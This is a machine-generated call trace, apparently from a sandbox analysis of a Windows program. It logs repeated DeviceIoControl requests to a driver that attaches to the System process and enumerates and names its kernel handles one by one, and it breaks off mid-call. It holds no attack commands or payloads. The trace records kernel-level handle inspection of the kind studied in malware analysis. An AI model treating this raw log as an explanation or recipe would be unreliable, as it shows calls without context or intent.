[0129.983] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0129.983] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.983] PsAcquireProcessExitSynchronization () returned 0x0 [0129.983] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.983] ObReferenceObjectByHandle (in: Handle=0xffffffff80000164, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002df8f20, HandleInformation=0x0) returned 0x0 [0129.983] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.983] PsReleaseProcessExitSynchronization () returned 0x2 [0129.983] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.983] ObQueryNameString (in: Object=0xfffffa8002df8f20, ObjectNameInfo=0xfffffa80024497c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80024497c4, ReturnLength=0xfffff88005000550) returned 0x0 [0129.983] ObfDereferenceObject (Object=0xfffffa8002df8f20) returned 0x1 [0129.983] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.983] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.983] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.983] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0129.983] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.983] PsAcquireProcessExitSynchronization () returned 0x0 [0129.983] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.983] ObReferenceObjectByHandle (in: Handle=0xffffffff80000168, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002df8c90, HandleInformation=0x0) returned 0x0 [0129.983] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.983] PsReleaseProcessExitSynchronization () returned 0x2 [0129.983] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.983] ObQueryNameString (in: Object=0xfffffa8002df8c90, ObjectNameInfo=0xfffffa800245d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800245d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0129.984] ObfDereferenceObject (Object=0xfffffa8002df8c90) returned 0x1 [0129.984] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.984] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.984] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.984] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0129.984] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.984] PsAcquireProcessExitSynchronization () returned 0x0 [0129.984] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.984] ObReferenceObjectByHandle (in: Handle=0xffffffff8000016c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8004bd9e60, HandleInformation=0x0) returned 0x0 [0129.984] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.984] PsReleaseProcessExitSynchronization () returned 0x2 [0129.984] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.984] ObQueryNameString (in: Object=0xfffffa8004bd9e60, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0129.984] ObfDereferenceObject (Object=0xfffffa8004bd9e60) returned 0x1 [0129.984] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.984] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.984] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.984] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0129.984] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.984] PsAcquireProcessExitSynchronization () returned 0x0 [0129.984] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.984] ObReferenceObjectByHandle (in: Handle=0xffffffff80000170, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002df9bd0, HandleInformation=0x0) returned 0x0 [0129.984] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.984] PsReleaseProcessExitSynchronization () returned 0x2 [0129.984] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.984] ObQueryNameString (in: Object=0xfffffa8002df9bd0, ObjectNameInfo=0xfffffa80023fd7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80023fd7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0129.984] ObfDereferenceObject (Object=0xfffffa8002df9bd0) returned 0x1 [0129.984] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.984] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.984] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.985] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xa8, lpOverlapped=0x0) returned 1 [0129.985] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.985] PsAcquireProcessExitSynchronization () returned 0x0 [0129.985] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.985] ObReferenceObjectByHandle (in: Handle=0xffffffff80000194, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002dfabf0, HandleInformation=0x0) returned 0x0 [0129.985] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.985] PsReleaseProcessExitSynchronization () returned 0x2 [0129.985] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.985] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020c0044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80020c0044, ReturnLength=0xfffff88005000508) returned 0x0 [0129.985] ObfDereferenceObject (Object=0xfffffa8002dfabf0) returned 0x21 [0129.985] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.985] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.985] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.985] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0129.985] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.985] PsAcquireProcessExitSynchronization () returned 0x0 [0129.985] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.985] ObReferenceObjectByHandle (in: Handle=0xffffffff80000198, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002e4a050, HandleInformation=0x0) returned 0x0 [0129.985] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.985] PsReleaseProcessExitSynchronization () returned 0x2 [0129.985] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.985] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000508) returned 0x0 [0129.985] ObfDereferenceObject (Object=0xfffffa8002e4a050) returned 0x1 [0129.985] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.985] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.985] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.985] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0129.985] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.985] PsAcquireProcessExitSynchronization () returned 0x0 [0129.985] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.985] ObReferenceObjectByHandle (in: Handle=0xffffffff800001b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002e5dd00, HandleInformation=0x0) returned 0x0 [0129.985] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.985] PsReleaseProcessExitSynchronization () returned 0x2 [0129.986] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.986] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000508) returned 0x0 [0129.986] ObfDereferenceObject (Object=0xfffffa8002e5dd00) returned 0x1 [0129.986] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.986] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.986] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.986] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x62, lpOverlapped=0x0) returned 1 [0129.986] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.986] PsAcquireProcessExitSynchronization () returned 0x0 [0129.986] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.986] ObReferenceObjectByHandle (in: Handle=0xffffffff800001bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f10050, HandleInformation=0x0) returned 0x0 [0129.986] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.986] PsReleaseProcessExitSynchronization () returned 0x2 [0129.986] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.986] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005000508) returned 0x0 [0129.986] ObfDereferenceObject (Object=0xfffffa8002f10050) returned 0x1 [0129.986] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.986] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.986] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.986] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0129.986] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.986] PsAcquireProcessExitSynchronization () returned 0x0 [0129.986] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.986] ObReferenceObjectByHandle (in: Handle=0xffffffff800001c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800296af20, HandleInformation=0x0) returned 0x0 [0129.986] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.986] PsReleaseProcessExitSynchronization () returned 0x2 [0129.986] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.986] ObQueryNameString (in: Object=0xfffffa800296af20, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.986] ObfDereferenceObject (Object=0xfffffa800296af20) returned 0x3 [0129.986] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.986] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.986] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.987] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0129.987] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.987] PsAcquireProcessExitSynchronization () returned 0x0 [0129.987] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.987] ObReferenceObjectByHandle (in: Handle=0xffffffff800001c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f25720, HandleInformation=0x0) returned 0x0 [0129.987] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.987] PsReleaseProcessExitSynchronization () returned 0x2 [0129.987] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.987] ObQueryNameString (in: Object=0xfffffa8002f25720, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.987] ObfDereferenceObject (Object=0xfffffa8002f25720) returned 0x1 [0129.987] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.987] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.987] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.987] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xcc, lpOverlapped=0x0) returned 1 [0129.987] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.987] PsAcquireProcessExitSynchronization () returned 0x0 [0129.987] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.987] ObReferenceObjectByHandle (in: Handle=0xffffffff800001cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80019179c0, HandleInformation=0x0) returned 0x0 [0129.987] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.987] PsReleaseProcessExitSynchronization () returned 0x2 [0129.987] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.987] ObQueryNameString (in: Object=0xfffffa80019179c0, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.987] ObfDereferenceObject (Object=0xfffffa80019179c0) returned 0x2 [0129.987] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.987] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.987] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.987] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0129.987] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.988] PsAcquireProcessExitSynchronization () returned 0x0 [0129.988] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.988] ObReferenceObjectByHandle (in: Handle=0xffffffff800001d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f29260, HandleInformation=0x0) returned 0x0 [0129.988] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.988] PsReleaseProcessExitSynchronization () returned 0x2 [0129.988] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.988] ObQueryNameString (in: Object=0xfffffa8002f29260, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.988] ObfDereferenceObject (Object=0xfffffa8002f29260) returned 0x2 [0129.988] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.988] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.988] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.988] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0129.988] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.988] PsAcquireProcessExitSynchronization () returned 0x0 [0129.988] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.988] ObReferenceObjectByHandle (in: Handle=0xffffffff800001d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800c0d0f20, HandleInformation=0x0) returned 0x0 [0129.988] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.988] PsReleaseProcessExitSynchronization () returned 0x2 [0129.988] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.988] ObQueryNameString (in: Object=0xfffffa800c0d0f20, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.988] ObfDereferenceObject (Object=0xfffffa800c0d0f20) returned 0x2 [0129.988] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.988] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.988] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.988] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0129.988] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.988] PsAcquireProcessExitSynchronization () returned 0x0 [0129.988] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.988] ObReferenceObjectByHandle (in: Handle=0xffffffff800001dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f10df0, HandleInformation=0x0) returned 0x0 [0129.988] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.989] PsReleaseProcessExitSynchronization () returned 0x2 [0129.989] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.989] ObQueryNameString (in: Object=0xfffffa8002f10df0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.989] ObfDereferenceObject (Object=0xfffffa8002f10df0) returned 0x2 [0129.989] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.989] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.989] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.989] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0129.989] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.989] PsAcquireProcessExitSynchronization () returned 0x0 [0129.989] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.989] ObReferenceObjectByHandle (in: Handle=0xffffffff800001e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f1f210, HandleInformation=0x0) returned 0x0 [0129.989] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.989] PsReleaseProcessExitSynchronization () returned 0x2 [0129.989] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.989] ObQueryNameString (in: Object=0xfffffa8002f1f210, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.989] ObfDereferenceObject (Object=0xfffffa8002f1f210) returned 0x1 [0129.989] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.989] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.989] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.989] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0129.989] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.989] PsAcquireProcessExitSynchronization () returned 0x0 [0129.989] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.989] ObReferenceObjectByHandle (in: 